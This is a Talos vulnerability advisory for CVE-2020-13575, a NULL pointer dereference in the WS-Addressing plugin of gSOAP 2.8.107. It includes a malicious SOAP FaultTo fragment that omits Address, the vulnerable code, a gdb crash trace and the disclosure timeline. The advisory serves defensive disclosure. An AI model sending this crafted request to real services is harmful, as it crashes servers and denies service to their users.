Talos Vulnerability Report

TALOS-2020-1186

Genivia gSOAP WS-Addressing plugin denial-of-service vulnerability

JANUARY 5, 2021

CVE NUMBER

CVE-2020-13575

Summary

A denial-of-service vulnerability exists in the WS-Addressing plugin functionality of Genivia gSOAP 2.8.107. A specially crafted SOAP request can lead to denial of service. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Genivia gSOAP 2.8.107

Product URLs

https://www.genivia.com/products.html#gsoap

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Details

The gSOAP toolkit is a C/C++ library for developing XML-based web services. It includes several plugins to support the implementation of SOAP and web service standards. The framework also provides multiple deployment options including modules for both IIS and Apache, standalone CGI scripts and its own standalone HTTP service.

One of the many plugins provided by gSOAP includes the wsa plugin for supporting the WS-Addressing specification which provides an asynchronous mechanism for routing SOAP requests and responses. The specification includes a element to allow the request to specify a fault endpoint. A denial of service condition can occur if a request includes a FaultTo element but doesn't include an Address element as well.

A normal request

```
<wsa5:FaultTo SOAP-ENV:mustUnderstand="1">
 <wsa5:Address></wsa5:Address> <---
 <wsa5:ReferenceParameters>
  <chan:ChannelInstance>0</chan:ChannelInstance>
 </wsa5:ReferenceParameters>
 <wsa5:Metadata>
 </wsa5:Metadata>
</wsa5:FaultTo>
```

A malicious request

```
<wsa5:FaultTo SOAP-ENV:mustUnderstand="1">
 <wsa5:ReferenceParameters>
  <chan:ChannelInstance>0</chan:ChannelInstance>
 </wsa5:ReferenceParameters>
 <wsa5:Metadata>
 </wsa5:Metadata>
</wsa5:FaultTo>
```

FaultTo->Address is set but never checked to be valid.

```
  if (oldheader->SOAP_WSA(FaultTo))
    oldheader->SOAP_WSA(FaultTo)->Address = oldheader->SOAP_WSA(ReplyTo)->Address;
}
```

No check of oldheader->SOAP_WSA(FaultTo)->Address is ever made before being used.

```
/* use FaultTo */
if (oldheader && oldheader->SOAP_WSA(FaultTo) &&** !strcmp(oldheader->SOAP_WSA(FaultTo)->Address, soap_wsa_noneURI)) **
  return soap_send_empty_response(soap, SOAP_OK);     /* HTTP ACCEPTED */
soap->header = NULL;
```

Crash Information

```
(gdb) r 8080
Starting program: /gsoap-2.8-wsa/gsoap/samples/wsa/wsademo 8080
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Server is running

Program received signal SIGSEGV, Segmentation fault.
__strcmp_ssse3 () at ../sysdeps/x86_64/multiarch/../strcmp.S:173
173     ../sysdeps/x86_64/multiarch/../strcmp.S: No such file or directory.
(gdb) bt
#0  __strcmp_ssse3 () at ../sysdeps/x86_64/multiarch/../strcmp.S:173
#1  0x000055555556637a in soap_wsa_fault_subcode_action (soap=0x7ffff7fbe010, flag=1, faultsubcode=0x5555555a9739 "wsa5:ActionNotSupported",
    faultstring=0x5555555a9c80 "The [action] cannot be processed at the receiver.", faultdetail=0x0, action=0x0) at
../../plugin/wsaapi.c:1060
#2  0x0000555555566257 in soap_wsa_fault_subcode (soap=0x7ffff7fbe010, flag=1, faultsubcode=0x5555555a9739 "wsa5:ActionNotSupported",
    faultstring=0x5555555a9c80 "The [action] cannot be processed at the receiver.", faultdetail=0x0) at ../../plugin/wsaapi.c:1022
#3  0x00005555555666b1 in soap_wsa_sender_fault_subcode (soap=0x7ffff7fbe010, faultsubcode=0x5555555a9739 "wsa5:ActionNotSupported",
    faultstring=0x5555555a9c80 "The [action] cannot be processed at the receiver.", faultdetail=0x0) at ../../plugin/wsaapi.c:1128
#4  0x0000555555566d5d in soap_wsa_error (soap=0x7ffff7fbe010, fault=wsa5__ActionNotSupported, info=0x0) at ../../plugin/wsaapi.c:1430
#5  0x000055555556709e in soap_wsa_set_error (soap=0x7ffff7fbe010, c=0x5555557bdbc0, s=0x5555557bdbc8) at ../../plugin/wsaapi.c:1625
#6  0x00005555555a61f4 in soap_set_fault (soap=0x7ffff7fbe010) at stdsoap2_ssl.c:22059
#7  0x00005555555a6f2a in soap_send_fault (soap=0x7ffff7fbe010) at stdsoap2_ssl.c:22322
#8  0x00005555555650cf in soap_serve (soap=0x7ffff7fbe010) at soapServer.c:42
#9  0x0000555555558d44 in main (argc=2, argv=0x7fffffffe4c8) at wsademo.c:85
```

Timeline

2020-11-05 - Vendor Disclosure

2020-12-16 - Vendor advised patch released on 2020-11-20

2021-01-05 - Public Release

CREDIT

Discovered by a member of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2020-1185

NEXT REPORT

TALOS-2020-1187